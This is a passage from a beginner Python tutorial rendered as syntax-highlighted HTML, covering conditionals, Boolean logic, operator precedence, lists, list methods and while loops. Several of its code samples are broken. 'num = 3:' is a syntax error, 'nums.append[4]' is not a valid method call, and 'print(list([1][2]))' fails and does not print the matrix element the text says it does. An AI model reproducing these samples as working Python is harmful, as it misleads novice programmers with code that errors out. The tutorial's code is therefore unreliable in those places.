ended&quot;</span><span style="color:#fdf4c1;">) +</span></code></pre> +<p>The expression determines whether 10 is greater than 5. Since it is, the indented statement runs, and “10 is greater than 5” is output. Then, the unindented statement, which is not a part of the if statement, is run, and “Program ended” is displayed.</p> +<blockquote> +<p>Notice the colon at the end of the expression in the if statement.</p> +</blockquote> +<p>To perform more complex checks, if statements can be nested, one inside the other. This means that the inner if statement is the statement part of the outer one. This is one way to see whether multiple conditions are satisfied.</p> +<p>For example:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>num </span><span style="color:#fe8019;">= </span><span style="color:#d3869b;">12 +</span><span style="color:#fa5c4b;">if </span><span>num </span><span style="color:#fe8019;">&gt; </span><span style="color:#d3869b;">5</span><span>: +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;Bigger than 5&quot;</span><span style="color:#fdf4c1;">) +</span><span> </span><span style="color:#fa5c4b;">if </span><span>num </span><span style="color:#fe8019;">&lt;= </span><span style="color:#d3869b;">47</span><span>: +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;between 5 and 47&quot;</span><span style="color:#fdf4c1;">) +</span></code></pre> +<blockquote> +<p>Indentation is used to define the level of nesting.</p> +</blockquote> +<h2 id="else-statements">else Statements</h2> +<p>The <em>if</em> statement allows you to check a condition and run some statements, if the condition is True. The <em>else</em> statement can be used to run some statements when the condition of the if statement is False.</p> +<p>As with if statements, the code inside the block should be indented.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>x </span><span style="color:#fe8019;">= </span><span style="color:#d3869b;">4 +</span><span style="color:#fa5c4b;">if </span><span>x </span><span style="color:#fe8019;">== </span><span style="color:#d3869b;">5</span><span>: +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;Yes&quot;</span><span style="color:#fdf4c1;">) +</span><span style="color:#fa5c4b;">else</span><span>: +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;No&quot;</span><span style="color:#fdf4c1;">) +</span></code></pre> +<blockquote> +<p>Notice the colon after the else keyword.</p> +</blockquote> +<p>Every if condition block can have only one else statement. In order to make multiple checks, you can chain if and else statements.</p> +<p>For example, the following program checks and outputs the num variable’s value as text:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>num </span><span style="color:#fe8019;">= </span><span style="color:#d3869b;">3 +</span><span style="color:#fa5c4b;">if </span><span>num </span><span style="color:#fe8019;">== </span><span style="color:#d3869b;">1</span><span>: +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;One&quot;</span><span style="color:#fdf4c1;">) +</span><span style="color:#fa5c4b;">else</span><span>: +</span><span> </span><span style="color:#fa5c4b;">if </span><span>num </span><span style="color:#fe8019;">== </span><span style="color:#d3869b;">2</span><span>: +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;Two&quot;</span><span style="color:#fdf4c1;">) +</span><span> </span><span style="color:#fa5c4b;">else</span><span>: +</span><span> </span><span style="color:#fa5c4b;">if </span><span>num </span><span style="color:#fe8019;">== </span><span style="color:#d3869b;">3</span><span>: +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;Three&quot;</span><span style="color:#fdf4c1;">) +</span></code></pre> +<blockquote> +<p>Indentation determines which if/else statements the code blocks belong to.</p> +</blockquote> +<h2 id="elif-statements">elif Statements</h2> +<p>Multiple if/else statements make the code long and not very readable. The elif (short for else if) statement is a shortcut to use when chaining if and else statements, making the code shorter.</p> +<p>The same example from the previous part can be rewritten using elif statements:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>num </span><span style="color:#fe8019;">= </span><span style="color:#d3869b;">3</span><span>: +</span><span style="color:#fa5c4b;">if </span><span>num </span><span style="color:#fe8019;">== </span><span style="color:#d3869b;">1</span><span>: +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;One&quot;</span><span style="color:#fdf4c1;">) +</span><span style="color:#fa5c4b;">elif </span><span>num </span><span style="color:#fe8019;">== </span><span style="color:#d3869b;">2</span><span>: +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;Two&quot;</span><span style="color:#fdf4c1;">) +</span><span style="color:#fa5c4b;">elif </span><span>num </span><span style="color:#fe8019;">== </span><span style="color:#d3869b;">3</span><span>: +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;Three&quot;</span><span style="color:#fdf4c1;">) +</span><span style="color:#fa5c4b;">else</span><span>: +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;None are true&quot;</span><span style="color:#fdf4c1;">) +</span></code></pre> +<p>As you can see in the example above, a series of if elif statements can have a final else block, which is called if none of the if or elif expressions is True. &gt;The elif statement is equivalent to an else/if statement. It is used to make the code shorter, more readable, and avoid indentation increase.</p> +<h2 id="boolean-logic">Boolean Logic</h2> +<p>Boolean logic is used to make more complicated conditions for if statements that rely on more than one condition. Python’s Boolean operators are and, or, and not. The <code>and</code> operator takes two arguments, and evaluates as True if, and only if, both of its arguments are True. Otherwise, it evaluates to False.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">( </span><span style="color:#d3869b;">1 </span><span style="color:#fe8019;">== </span><span style="color:#d3869b;">1 </span><span style="color:#fe8019;">and </span><span style="color:#d3869b;">2 </span><span style="color:#fe8019;">== </span><span style="color:#d3869b;">2</span><span style="color:#fdf4c1;">) +</span><span style="color:#d3869b;">True +</span><span> +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">1 </span><span style="color:#fe8019;">== </span><span style="color:#d3869b;">1 </span><span style="color:#fe8019;">and </span><span style="color:#d3869b;">2 </span><span style="color:#fe8019;">== </span><span style="color:#d3869b;">3</span><span style="color:#fdf4c1;">) +</span><span style="color:#d3869b;">False +</span><span> +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">( </span><span style="color:#d3869b;">1 </span><span style="color:#fe8019;">!= </span><span style="color:#d3869b;">1 </span><span style="color:#fe8019;">and </span><span style="color:#d3869b;">2 </span><span style="color:#fe8019;">&gt; </span><span style="color:#d3869b;">3</span><span style="color:#fdf4c1;">) +</span><span style="color:#d3869b;">False +</span><span> +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">( </span><span style="color:#d3869b;">2 </span><span style="color:#fe8019;">&lt; </span><span style="color:#d3869b;">3 </span><span style="color:#fe8019;">and </span><span style="color:#d3869b;">3 </span><span style="color:#fe8019;">&gt; </span><span style="color:#d3869b;">6</span><span style="color:#fdf4c1;">) +</span><span style="color:#d3869b;">False +</span></code></pre> +<blockquote> +<p>Boolean operators can be used in expression as many times as needed.</p> +</blockquote> +<p>The <code>or</code> operator also takes two arguments. It evaluates to True if either (or both) of its arguments are True, and False if both arguments are False.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">( </span><span style="color:#d3869b;">1 </span><span style="color:#fe8019;">== </span><span style="color:#d3869b;">1 </span><span style="color:#fe8019;">or </span><span style="color:#d3869b;">2 </span><span style="color:#fe8019;">== </span><span style="color:#d3869b;">2</span><span style="color:#fdf4c1;">) +</span><span style="color:#d3869b;">True +</span><span> +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">1 </span><span style="color:#fe8019;">== </span><span style="color:#d3869b;">1 </span><span style="color:#fe8019;">or </span><span style="color:#d3869b;">2 </span><span style="color:#fe8019;">== </span><span style="color:#d3869b;">3</span><span style="color:#fdf4c1;">) +</span><span style="color:#d3869b;">True +</span><span> +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">( </span><span style="color:#d3869b;">1 </span><span style="color:#fe8019;">!= </span><span style="color:#d3869b;">1 </span><span style="color:#fe8019;">or </span><span style="color:#d3869b;">2 </span><span style="color:#fe8019;">&gt; </span><span style="color:#d3869b;">3</span><span style="color:#fdf4c1;">) +</span><span style="color:#d3869b;">False +</span><span> +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">( </span><span style="color:#d3869b;">2 </span><span style="color:#fe8019;">&lt; </span><span style="color:#d3869b;">3 </span><span style="color:#fe8019;">or </span><span style="color:#d3869b;">3 </span><span style="color:#fe8019;">&gt; </span><span style="color:#d3869b;">6</span><span style="color:#fdf4c1;">) +</span><span style="color:#d3869b;">True +</span></code></pre> +<blockquote> +<p>Besides values, you can also compare variables.</p> +</blockquote> +<p>Unlike other operators we’ve seen so far, <code>not</code> only takes one argument, and inverts it. The result of not True is False, and not False goes to True</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">( </span><span style="color:#fe8019;">not </span><span style="color:#d3869b;">1 </span><span style="color:#fe8019;">== </span><span style="color:#d3869b;">1</span><span style="color:#fdf4c1;">) +</span><span style="color:#d3869b;">False +</span><span> +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">( </span><span style="color:#fe8019;">not </span><span style="color:#d3869b;">1 </span><span style="color:#fe8019;">&gt; </span><span style="color:#d3869b;">7</span><span style="color:#fdf4c1;">) +</span><span style="color:#d3869b;">True +</span></code></pre> +<blockquote> +<p>You can chain multiple conditional statements in an if statement using the Boolean operators.</p> +</blockquote> +<h2 id="operator-precedence">Operator Precedence</h2> +<p>Operator precedence is a very important concept in programming. It is an extension of the mathematical idea of order of operations (multiplication being performed before addition, etc.) to include other operators, such as those in Boolean logic.</p> +<p>The below code shows that == has a higher precedence than or</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">False </span><span style="color:#fe8019;">== </span><span style="color:#d3869b;">False </span><span style="color:#fe8019;">or </span><span style="color:#d3869b;">True</span><span style="color:#fdf4c1;">) +</span><span style="color:#d3869b;">True +</span><span> +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">False </span><span style="color:#fe8019;">== </span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">False </span><span style="color:#fe8019;">or </span><span style="color:#d3869b;">True</span><span style="color:#fdf4c1;">)) +</span><span style="color:#d3869b;">False +</span><span> +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">((</span><span style="color:#d3869b;">False </span><span style="color:#fe8019;">== </span><span style="color:#d3869b;">False</span><span style="color:#fdf4c1;">) </span><span style="color:#fe8019;">or </span><span style="color:#d3869b;">True</span><span style="color:#fdf4c1;">) +</span><span style="color:#d3869b;">True +</span></code></pre> +<blockquote> +<p>Python’s order of operations is the same as that of normal mathematics: parentheses first, then exponentiation, then multiplication/division, and then addition/subtraction.</p> +</blockquote> +<h2 id="chaining-multiple-conditions">Chaining Multiple Conditions</h2> +<p>You can chain multiple conditional statements in an if statement using the Boolean operators.</p> +<p>For example, we can check if the value of a grade is between 70 and 100:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>grade </span><span style="color:#fe8019;">= </span><span style="color:#d3869b;">88 +</span><span style="color:#fa5c4b;">if </span><span>(grade </span><span style="color:#fe8019;">&gt;= </span><span style="color:#d3869b;">70 </span><span style="color:#fe8019;">and </span><span>grade </span><span style="color:#fe8019;">&lt;= </span><span style="color:#d3869b;">100</span><span>): +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;Passed!&quot;</span><span style="color:#fdf4c1;">) +</span></code></pre> +<blockquote> +<p>You can use multiple and, or, not operators to chain multiple conditions together.</p> +</blockquote> +<h2 id="lists">Lists</h2> +<p>Lists are used to store items. A list is created using square brackets with commas separating items.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>words </span><span style="color:#fe8019;">= </span><span>[</span><span style="color:#b8bb26;">&quot;Hello&quot;</span><span>, </span><span style="color:#b8bb26;">&quot;world&quot;</span><span>, </span><span style="color:#b8bb26;">&quot;!&quot;</span><span>] +</span></code></pre> +<p>In the example above the words list contains three string items.</p> +<p>A certain item in the list can be accessed by using its index in square brackets.</p> +<p>For example:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>words </span><span style="color:#fe8019;">= </span><span>[</span><span style="color:#b8bb26;">&quot;Hello&quot;</span><span>, </span><span style="color:#b8bb26;">&quot;world&quot;</span><span>, </span><span style="color:#b8bb26;">&quot;!&quot;</span><span>] +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(words[</span><span style="color:#d3869b;">0</span><span style="color:#fdf4c1;">]) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(words[</span><span style="color:#d3869b;">1</span><span style="color:#fdf4c1;">]) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(words[</span><span style="color:#d3869b;">2</span><span style="color:#fdf4c1;">]) +</span></code></pre> +<blockquote> +<p>The first list item’s index is 0, rather than 1, as might be expected.</p> +</blockquote> +<p>Sometimes you need to create an empty list and populate it later during the program. For example, if you are creating a queue management program, the queue is going to be empty in the beginning and get populated with people data later.</p> +<p>An empty list is created with an empty pair of square brackets.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>empty_list </span><span style="color:#fe8019;">= </span><span>[] +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(empty_list) +</span></code></pre> +<blockquote> +<p>In some code samples you might see a comma after the last item in the list. It’s not mandatory, but perfectly valid.</p> +</blockquote> +<p>Typically, a list will contain items of a single item type, but it is also possible to include several different types. Lists can also be nested within other lists.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>number </span><span style="color:#fe8019;">= </span><span style="color:#d3869b;">3 +</span><span>things </span><span style="color:#fe8019;">= </span><span>[</span><span style="color:#b8bb26;">&quot;string&quot;</span><span>, </span><span style="color:#d3869b;">0</span><span>, [</span><span style="color:#d3869b;">1</span><span>, </span><span style="color:#d3869b;">2</span><span>, number], </span><span style="color:#d3869b;">4.56</span><span>] +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(things[</span><span style="color:#d3869b;">1</span><span style="color:#fdf4c1;">]) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(things[</span><span style="color:#d3869b;">2</span><span style="color:#fdf4c1;">]) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(things[</span><span style="color:#d3869b;">2</span><span style="color:#fdf4c1;">][</span><span style="color:#d3869b;">2</span><span style="color:#fdf4c1;">]) +</span></code></pre> +<p>Nested lists can be used to represent 2D grids, such as matrices. For example:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>m </span><span style="color:#fe8019;">= </span><span>[[</span><span style="color:#d3869b;">0</span><span>,</span><span style="color:#d3869b;">1</span><span>,</span><span style="color:#d3869b;">2</span><span>],[</span><span style="color:#d3869b;">4</span><span>,</span><span style="color:#d3869b;">5</span><span>,</span><span style="color:#d3869b;">6</span><span>]] +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#fabd2f;">list</span><span style="color:#fdf4c1;">([</span><span style="color:#d3869b;">1</span><span style="color:#fdf4c1;">][</span><span style="color:#d3869b;">2</span><span style="color:#fdf4c1;">]) +</span></code></pre> +<p>A matrix-like structure can be used in cases where you need to store data in row-column format. For example, when creating a ticketing program, the seat numbers can be stored in a matrix, with their corresponding rows and numbers. </p> +<blockquote> +<p>The code above outputs the 3rd item of the 2nd row.</p> +</blockquote> +<p>Some types, such as strings, can be indexed like lists. Indexing strings behaves as though you are indexing a list containing each character in the string.</p> +<p>For example:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>string </span><span style="color:#fe8019;">= </span><span style="color:#b8bb26;">&quot;Hello world&quot; +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(string[</span><span style="color:#d3869b;">6</span><span style="color:#fdf4c1;">]) +</span></code></pre> +<p>Space (” “) is also a symbol and has an index.</p> +<blockquote> +<p>Trying to access a non existing index will lead to an error.</p> +</blockquote> +<h2 id="list-operations">List Operations</h2> +<p>The item at a certain index in a list can be reassigned. For example:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fabd2f;">list </span><span style="color:#fe8019;">= </span><span>[</span><span style="color:#d3869b;">0</span><span>,</span><span style="color:#d3869b;">1</span><span>,</span><span style="color:#d3869b;">2</span><span>,</span><span style="color:#d3869b;">3</span><span>,</span><span style="color:#d3869b;">4</span><span>] +</span><span style="color:#fabd2f;">list</span><span>[</span><span style="color:#d3869b;">2</span><span>] </span><span style="color:#fe8019;">= </span><span style="color:#d3869b;">5 +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#fabd2f;">list</span><span style="color:#fdf4c1;">) +</span></code></pre> +<blockquote> +<p>You can replace the item with an item of a different type.</p> +</blockquote> +<p>Lists can be added and multiplied in the same way as strings. For example:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>nums </span><span style="color:#fe8019;">= </span><span>[</span><span style="color:#d3869b;">0</span><span>,</span><span style="color:#d3869b;">1</span><span>,</span><span style="color:#d3869b;">2</span><span>] +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(nums </span><span style="color:#fe8019;">+ </span><span style="color:#fdf4c1;">[</span><span style="color:#d3869b;">3</span><span style="color:#fdf4c1;">,</span><span style="color:#d3869b;">4</span><span style="color:#fdf4c1;">,</span><span style="color:#d3869b;">5</span><span style="color:#fdf4c1;">]) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(nums</span><span style="color:#fe8019;">*</span><span style="color:#d3869b;">3</span><span style="color:#fdf4c1;">) +</span></code></pre> +<p>Lists and strings are similar in many ways - strings can be thought of as lists of characters that can’t be changed.</p> +<blockquote> +<p>For example, the string “Hello” can be thought of as a list, where each character is an item in the list. The first item is “H”, the second item is “e”, and so on.</p> +</blockquote> +<p>To check if an item is in a list, the in operator can be used. It returns True if the item occurs one or more times in the list, and False if it doesn’t.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>words </span><span style="color:#fe8019;">= </span><span>[</span><span style="color:#b8bb26;">&quot;spam&quot;</span><span>, </span><span style="color:#b8bb26;">&quot;egg&quot;</span><span>, </span><span style="color:#b8bb26;">&quot;spam&quot;</span><span>, </span><span style="color:#b8bb26;">&quot;sausage&quot;</span><span>] +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;spam&quot; </span><span style="color:#fe8019;">in </span><span style="color:#fdf4c1;">words) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;egg&quot; </span><span style="color:#fe8019;">in </span><span style="color:#fdf4c1;">words) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;tomato&quot; </span><span style="color:#fe8019;">in </span><span style="color:#fdf4c1;">words) +</span></code></pre> +<blockquote> +<p>The in operator is also used to determine whether or not a string is a substring of another string.</p> +</blockquote> +<p>To check if an item is not in a list, you can use the not operator in one of the following ways:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>nums </span><span style="color:#fe8019;">= </span><span>[</span><span style="color:#d3869b;">1</span><span>, </span><span style="color:#d3869b;">2</span><span>, </span><span style="color:#d3869b;">3</span><span>] +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#fe8019;">not </span><span style="color:#d3869b;">4 </span><span style="color:#fe8019;">in </span><span style="color:#fdf4c1;">nums) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">4 </span><span style="color:#fe8019;">not in </span><span style="color:#fdf4c1;">nums) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#fe8019;">not </span><span style="color:#d3869b;">3 </span><span style="color:#fe8019;">in </span><span style="color:#fdf4c1;">nums) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">3 </span><span style="color:#fe8019;">not in </span><span style="color:#fdf4c1;">nums) +</span></code></pre> +<h2 id="list-functions">List Functions</h2> +<p>The append method adds an item to the end of an existing list. For example:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>nums </span><span style="color:#fe8019;">= </span><span>[</span><span style="color:#d3869b;">1</span><span>,</span><span style="color:#d3869b;">2</span><span>,</span><span style="color:#d3869b;">3</span><span>] +</span><span>nums.append[</span><span style="color:#d3869b;">4</span><span>] +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(nums) +</span></code></pre> +<blockquote> +<p>The dot before append is there because it is a method of the list class. Methods will be explained in later.</p> +</blockquote> +<p>To get the number of items in a list, you can use the len function.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fabd2f;">list </span><span style="color:#fe8019;">= </span><span>[</span><span style="color:#d3869b;">0</span><span>,</span><span style="color:#d3869b;">1</span><span>,</span><span style="color:#d3869b;">2</span><span>,</span><span style="color:#d3869b;">3</span><span>,</span><span style="color:#d3869b;">4</span><span>] +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#fabd2f;">len</span><span style="color:#fdf4c1;">(</span><span style="color:#fabd2f;">list</span><span style="color:#fdf4c1;">)) +</span></code></pre> +<p>Unlike the index of the items, len does not start with 0. So, the list above contains 5 items, meaning len will return 5.</p> +<blockquote> +<p><code>len</code> is written before the list it is being called on, without a dot.</p> +</blockquote> +<p>The insert method is similar to append, except that it allows you to insert a new item at any position in the list, as opposed to just at the end.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>words </span><span style="color:#fe8019;">= </span><span>[</span><span style="color:#b8bb26;">&quot;Python&quot;</span><span>, </span><span style="color:#b8bb26;">&quot;fun&quot;</span><span>] +</span><span>index </span><span style="color:#fe8019;">= </span><span style="color:#d3869b;">1 +</span><span style="color:#fdf4c1;">words.insert(index, </span><span style="color:#b8bb26;">&quot;is&quot;</span><span style="color:#fdf4c1;">) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(words) +</span></code></pre> +<blockquote> +<p>Elements, that are after the inserted item, are shifted to the right.</p> +</blockquote> +<p>The index method finds the first occurrence of a list item and returns its index. If the item isn’t in the list, it raises a ValueError.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>letters </span><span style="color:#fe8019;">= </span><span>[</span><span style="color:#b8bb26;">&#39;p&#39;</span><span>, </span><span style="color:#b8bb26;">&#39;q&#39;</span><span>, </span><span style="color:#b8bb26;">&#39;r&#39;</span><span>, </span><span style="color:#b8bb26;">&#39;s&#39;</span><span>, </span><span style="color:#b8bb26;">&#39;p&#39;</span><span>, </span><span style="color:#b8bb26;">&#39;u&#39;</span><span>] +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(letters.index(</span><span style="color:#b8bb26;">&#39;r&#39;</span><span style="color:#fdf4c1;">)) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(letters.index(</span><span style="color:#b8bb26;">&#39;p&#39;</span><span style="color:#fdf4c1;">)) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(letters.index(</span><span style="color:#b8bb26;">&#39;z&#39;</span><span style="color:#fdf4c1;">)) +</span></code></pre> +<p>There are a few more useful functions and methods for lists.</p> +<p><code>max(list)</code>: Returns the list item with the maximum value</p> +<p><code>min(list)</code>: Returns the list item with minimum value</p> +<p><code>list.count(item)</code>: Returns a count of how many times an item occurs in a list.</p> +<p><code>list.remove(item)</code>: Removes an object from a list</p> +<p><code>list.reverse()</code>: Reverses items in a list.</p> +<blockquote> +<p>For example, you can count how many 42s are there in the list using: items.count(42) where items is the name of our list.</p> +</blockquote> +<h2 id="while-loops">While Loops</h2> +<p>A while loop is used to repeat a block of code multiple times. For example, let’s say we need to process multiple user inputs, so that each time the user inputs something, the same block of code needs to execute.</p> +<p>Below is a while loop containing a variable that counts up from 1 to 5, at which point the loop terminates.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>i </span><span style="color:#fe8019;">= </span><span style="color:#d3869b;">1 +</span><span style="color:#fa5c4b;">while </span><span>i </span><span style="color:#fe8019;">&lt;=</span><span style="color:#d3869b;">5</span><span>: +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(i) +</span><span> i </span><span style="color:#fe8019;">+= </span><span style="color:#d3869b;">1 +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;Finished!&quot;</span><span style="color:#fdf4c1;">) +</span></code></pre> +<p>During each loop iteration, the i variable will get incremented by one, until it reaches 5. So, the loop will execute the print statement 5 times.</p> +<blockquote> +<p>The code in the body of a while loop is executed repeatedly. This is called iteration.</p> +</blockquote> +<p>You can use multiple statements in the while loop.</p> +<p>For example, you can use an if statement to make decisions. This can be useful, if you are making a game and need to loop through a number of player actions and add or remove points of the player.</p> +<p>The code below uses an if/else statement inside a while loop to separate the even and odd numbers in the range of 1 to 10:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>x </span><span style="color:#fe8019;">= </span><span style="color:#d3869b;">1 +</span><span style="color:#fa5c4b;">while </span><span>x </span><span style="color:#fe8019;">&lt;= </span><span style="color:#d3869b;">10</span><span>: +</span><span> </span><span style="color:#fa5c4b;">if </span><span>x</span><span style="color:#fe8019;">%</span><span style="color:#d3869b;">2 </span><span style="color:#fe8019;">== </span><span style="color:#d3869b;">0</span><span>: +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#fabd2f;">str</span><span style="color:#fdf4c1;">(x) </span><span style="color:#fe8019;">+ </span><span style="color:#b8bb26;">&quot;is even&quot;</span><span style="color:#fdf4c1;">) +</span><span> </span><span style="color:#fa5c4b;">else</span><span>: +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#fabd2f;">str</span><span style="color:#fdf4c1;">(x) </span><span style="color:#fe8019;">+ </span><span style="color:#b8bb26;">&quot;is odd&quot;</span><span style="color:#fdf4c1;">) +</span><span> x </span><span style="color:#fe8019;">+= </span><span style="color:#d3869b;">1 +</span></code></pre> +<p><code>str(x)</code> is used to convert the number x to a string, so that it can be used for concatenation.</p> +<blockquote> +<p>In console, you can stop the program’s execution by using the Ctrl-C shortcut or by closing the program.</p> +</blockquote> +<p><code>break</code></p> +<p>To end a while loop prematurely, the break statement can be used. For example, we can break an infinite loop if some condition is met:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>i </span><span style="color:#fe8019;">= </span><span style="color:#d3869b;">0 +</span><span style="color:#fa5c4b;">while </span><span style="color:#d3869b;">1</span><span style="color:#fe8019;">==</span><span style="color:#d3869b;">1</span><span>: +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(i) +</span><span> i </span><span style="color:#fe8019;">= </span><span>i </span><span style="color:#fe8019;">+ </span><span style="color:#d3869b;">1 +</span><span> </span><span style="color:#fa5c4b;">if </span><span>i </span><span style="color:#fe8019;">&gt;= </span><span style="color:#d3869b;">5</span><span>: +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;Breaking&quot;</span><span style="color:#fdf4c1;">) +</span><span> </span><span style="color:#fa5c4b;">break +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;Finished&quot;</span><span style="color:#fdf4c1;">) +</span></code></pre> +<p>while True is a short and easy way to make an infinite loop.</p> +<p>An example use case of break: An infinite while loop can be used to continuously take user input. For example, you are making a calculator and need to take numbers 